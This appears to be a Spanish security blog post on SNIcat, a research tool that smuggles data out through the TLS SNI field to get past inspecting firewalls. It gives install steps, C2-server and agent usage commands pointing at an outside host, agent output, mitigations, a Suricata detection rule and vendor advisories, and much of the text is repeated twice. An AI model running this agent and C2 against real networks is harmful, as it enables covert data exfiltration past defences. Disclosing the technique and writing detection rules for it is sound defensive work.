Los investigadores Morten Marstrander y Matteo Malvica de Mnemonic han descubierto un método para exfiltrar información bypasseando dispositivos que interceptan e inspeccionan TLS como proxies web, firewalls de última generación (NGFW) y otras soluciones, entre ellos, dispositivos de F5 Networks, Palo Alto Networks y Fortinet.
Normalmente estos appliances verifican el SNI (Server Name Indication) para bloquearlo si la URL o el hostname están categorizados como maliciosos. EL procedimiento sería así:
Lo más fácil parece cambiar el SNI y luego mandar el tráfico a un dominio malicioso, pero como veis en la imagen muchas plataformas de seguridad si no matchea el SNI con el cn del certificado del sitio bloquean el tráfico directamente. Sin embargo, el bloqueo se realiza una vez que se ha completado el handshake TLS por lo que se puede aprovechar ese stream unidireccional para exfiltrar información (el paquete TLS Client Hello siempre llega a su destino). Además, muchos dispositivos que hacen un mirror del tráfico para descifrarlo e inspeccionarlo con un IDS no reciben el handshake TLS... }:-)
Además, siempre que el servidor presente un certificado válido y confiable durante el handshake TLS, la solución de seguridad siempre presentará una versión emulada de ese certificado al cliente, firmada por la CA integrada de la solución. Este comportamiento ocurre incluso si el dominio utilizado está en la lista negra de una base de datos de reputación (categorización de URL/dominio). Sin embargo, si el certificado que presenta el servidor es auto-firmado no confiable normalmente devuelven un reset a la sesión TCP.
Esa lógica "certificado válido YES y certificado no-confiable self-signed NO" ha sido aprovechada por la gente de Mnemonic para implementar la comunicación con el C2 en su herramienta SNIcat que se divide en dos componentes:
- Un agente pasivo que debe ponerse en el host ya comprometido. Su único objetivo es volver a conectarse al C2 y ejecutar los comandos proporcionados.
- Un servidor C2 que controla al agente desde cualquier lugar de Internet.
El agente pasivo está equipado con varios comandos, incluida la capacidad de exfiltrar (es decir, subir) archivos al servidor. Constantemente recorre todos los comandos disponibles y espera a que el servidor C2 seleccione el deseado aprovechando la capacidad binaria YES/NO mencionada anteriormente.
Con SNIcat conseguimos una interfaz de línea de comandos (CLI) independiente mínima pero efectiva. La CLI puede ofrecer comandos básicos de navegación del sistema de archivos, como saltar entre carpetas, listar archivos y, obviamente, exfiltrar, como se muestra en el siguiente vídeo que suben un archivo del agente al servidor C2:
INSTALACIÓN
$ git clone https://github.com/mnemonic-no/SNIcat.git
$ cd SNIcat/
$ pip3 install -r requirements.txt --user
Obtener certificado válido, por ejemplo con Let's Encrypt, este será GOOD_CERT y GOOD_CERT_KEY:
git clone https://github.com/letsencrypt/letsencrypt
cd letsencrypt
./letsencrypt-auto
Crear certificado auto-firmado no confiable que será BAD_CERT y BAD_CERT_KEY:
$ sudo openssl genrsa -aes128 -out private.key 2048
$ sudo openssl req -new -days 365 -key private.key -out request.csr
$ sudo openssl x509 -in request.csr -out certificate.crt -req -signkey private.key -days 365
USO
C2:
Agente:
MITIGACIONES
Los investigadores de Mnemonic han contactado con diferentes fabricantes para ver distintas mitigaciones:
- Detección en dispositivos de seguridad perimetral
También desarrollaron una herramienta de detección "passiveSNI", conceptualmente similar a la conocida aplicación PassiveDNS.
Funciona monitorizando y registrando constantemente cada paquete TLS/Hello enviado a través de cualquier interfaz de conexión de red. Estos registros generados se pueden recopilar y analizar a través de una solución SIEM contra cualquier firma conocida o análisis de comportamiento.
Firma de Suricata para detectar SNICat:
Productos bypasseados por SNICat
SNIcat pudo bypasseatr con éxito los siguientes productos y sus respectivas versiones de software:
Normalmente estos appliances verifican el SNI (Server Name Indication) para bloquearlo si la URL o el hostname están categorizados como maliciosos. EL procedimiento sería así:
Lo más fácil parece cambiar el SNI y luego mandar el tráfico a un dominio malicioso, pero como veis en la imagen muchas plataformas de seguridad si no matchea el SNI con el cn del certificado del sitio bloquean el tráfico directamente. Sin embargo, el bloqueo se realiza una vez que se ha completado el handshake TLS por lo que se puede aprovechar ese stream unidireccional para exfiltrar información (el paquete TLS Client Hello siempre llega a su destino). Además, muchos dispositivos que hacen un mirror del tráfico para descifrarlo e inspeccionarlo con un IDS no reciben el handshake TLS... }:-)
Además, siempre que el servidor presente un certificado válido y confiable durante el handshake TLS, la solución de seguridad siempre presentará una versión emulada de ese certificado al cliente, firmada por la CA integrada de la solución. Este comportamiento ocurre incluso si el dominio utilizado está en la lista negra de una base de datos de reputación (categorización de URL/dominio). Sin embargo, si el certificado que presenta el servidor es auto-firmado no confiable normalmente devuelven un reset a la sesión TCP.
Esa lógica "certificado válido YES y certificado no-confiable self-signed NO" ha sido aprovechada por la gente de Mnemonic para implementar la comunicación con el C2 en su herramienta SNIcat que se divide en dos componentes:
- Un agente pasivo que debe ponerse en el host ya comprometido. Su único objetivo es volver a conectarse al C2 y ejecutar los comandos proporcionados.
- Un servidor C2 que controla al agente desde cualquier lugar de Internet.
El agente pasivo está equipado con varios comandos, incluida la capacidad de exfiltrar (es decir, subir) archivos al servidor. Constantemente recorre todos los comandos disponibles y espera a que el servidor C2 seleccione el deseado aprovechando la capacidad binaria YES/NO mencionada anteriormente.
Con SNIcat conseguimos una interfaz de línea de comandos (CLI) independiente mínima pero efectiva. La CLI puede ofrecer comandos básicos de navegación del sistema de archivos, como saltar entre carpetas, listar archivos y, obviamente, exfiltrar, como se muestra en el siguiente vídeo que suben un archivo del agente al servidor C2:
Url del video: https://youtu.be/xwCFOsSZcyk
INSTALACIÓN
$ git clone https://github.com/mnemonic-no/SNIcat.git
$ cd SNIcat/
$ pip3 install -r requirements.txt --user
Obtener certificado válido, por ejemplo con Let's Encrypt, este será GOOD_CERT y GOOD_CERT_KEY:
git clone https://github.com/letsencrypt/letsencrypt
cd letsencrypt
./letsencrypt-auto
Crear certificado auto-firmado no confiable que será BAD_CERT y BAD_CERT_KEY:
$ sudo openssl genrsa -aes128 -out private.key 2048
$ sudo openssl req -new -days 365 -key private.key -out request.csr
$ sudo openssl x509 -in request.csr -out certificate.crt -req -signkey private.key -days 365
USO
C2:
(*) USAGE: 'python3 snicat_c2.py <LISTENING_PORT> <GOOD_CERT> <GOOD_CERT_KEY> <BAD_CERT> <BAD_CERT_KEY> log=[on|off]'
(*) EXAMPLE: 'python3 snicat_c2.py 443 certs/good.pem certs/good.key certs/ssl-cert-snakeoil.pem certs/ssl-cert-snakeoil.key log=on'Agente:
(*) USAGE: 'python3 snicat_agent.py c2_server_ip c2_server_port good_cert_name log=[on|off] timeout=[timeout in seconds - default is 0.5]'
(*) Example: 'python3 snicat_agent.py 192.0.2.1 443 .sni.cat log=off timeout=1'# python3 snicat_agent.py www...com 4443 CERTIFICADOS/cert.pem log=off timeout=1
######################################################
### SNICAT C2 AGENT ###
### by Morten Marstrander & Matteo Malvica ###
######################################################
"the not-so-advertized TLS feature"
(*) - IDLE - waiting for C2...
(*) Executing: LIST command
(*) Executing: SIZE command
(*) Executing: LD command
(*) Executing: WHERE command
(*) Executing: CD command
(*) Executing: CB command
(*) Executing: LS command
(*) Executing: EX commandMITIGACIONES
Los investigadores de Mnemonic han contactado con diferentes fabricantes para ver distintas mitigaciones:
- Detección en dispositivos de seguridad perimetral
- Un sistema de detección de intrusiones (IDS) podría detectar un payload SNI anómalo redireccionando también el handshake TLS junto redireccionando el tráfico a cualquier dispositivo configurado
- Realizar heurística en el SNI del Client Hello: siempre que los dispositivos puedan capturar el SNI del handshake y enviarlo a un SIEM o un IDS, o comprobar la reputación del dominio correspondiente, se podría detectar SNIcat. También se podría generar una alerta por la longitud del SNI, que normalmente es el máximo permitido (254 bytes) con esta herramienta.
- Otra opción, sería cambiar la lógica de bloqueo de URLs por categoría para que actuara antes viendo el SNI en el handshake.
También desarrollaron una herramienta de detección "passiveSNI", conceptualmente similar a la conocida aplicación PassiveDNS.
Funciona monitorizando y registrando constantemente cada paquete TLS/Hello enviado a través de cualquier interfaz de conexión de red. Estos registros generados se pueden recopilar y analizar a través de una solución SIEM contra cualquier firma conocida o análisis de comportamiento.
Firma de Suricata para detectar SNICat:
alert tls $HOME_NET any -> $EXTERNAL_NET any (msg: "SNIcat - Detected C2 commands"; flow: to_server,established; tls.sni; pcre: "/^(LIST|LS|SIZE|LD|CB|CD|EX|ALIVE|EXIT|finito)-[A-Za-z0-9]{16}\./"; threshold: type threshold, track by_src, count 5, seconds 300; sid: 1; rev: 1;)Productos bypasseados por SNICat
SNIcat pudo bypasseatr con éxito los siguientes productos y sus respectivas versiones de software:
- F5 BIG-IP con TMOS 14.1.2, con SSL Orchestrator 5.5.8
- Palo Alto NGFW con PAN-OS 9.1.1
- Fortigate NGFW ejecutando FortiOS 6.2.3
- Proyecto: https://github.com/mnemonic-no/SNIcat
- F5 Networks: el aviso de seguridad se puede encontrar aquí https://support.f5.com/csp/article/K20105555
- Palo Alto Networks: el aviso de seguridad se puede encontrar aquí https://security.paloaltonetworks.com/CVE-2020-2035
- Fortinet: la vulnerabilidad se solucionará en 6.4.3 GA, con un lanzamiento previsto para septiembre. FortiGuard Labs publicará un aviso después del lanzamiento.
Comentarios
Publicar un comentario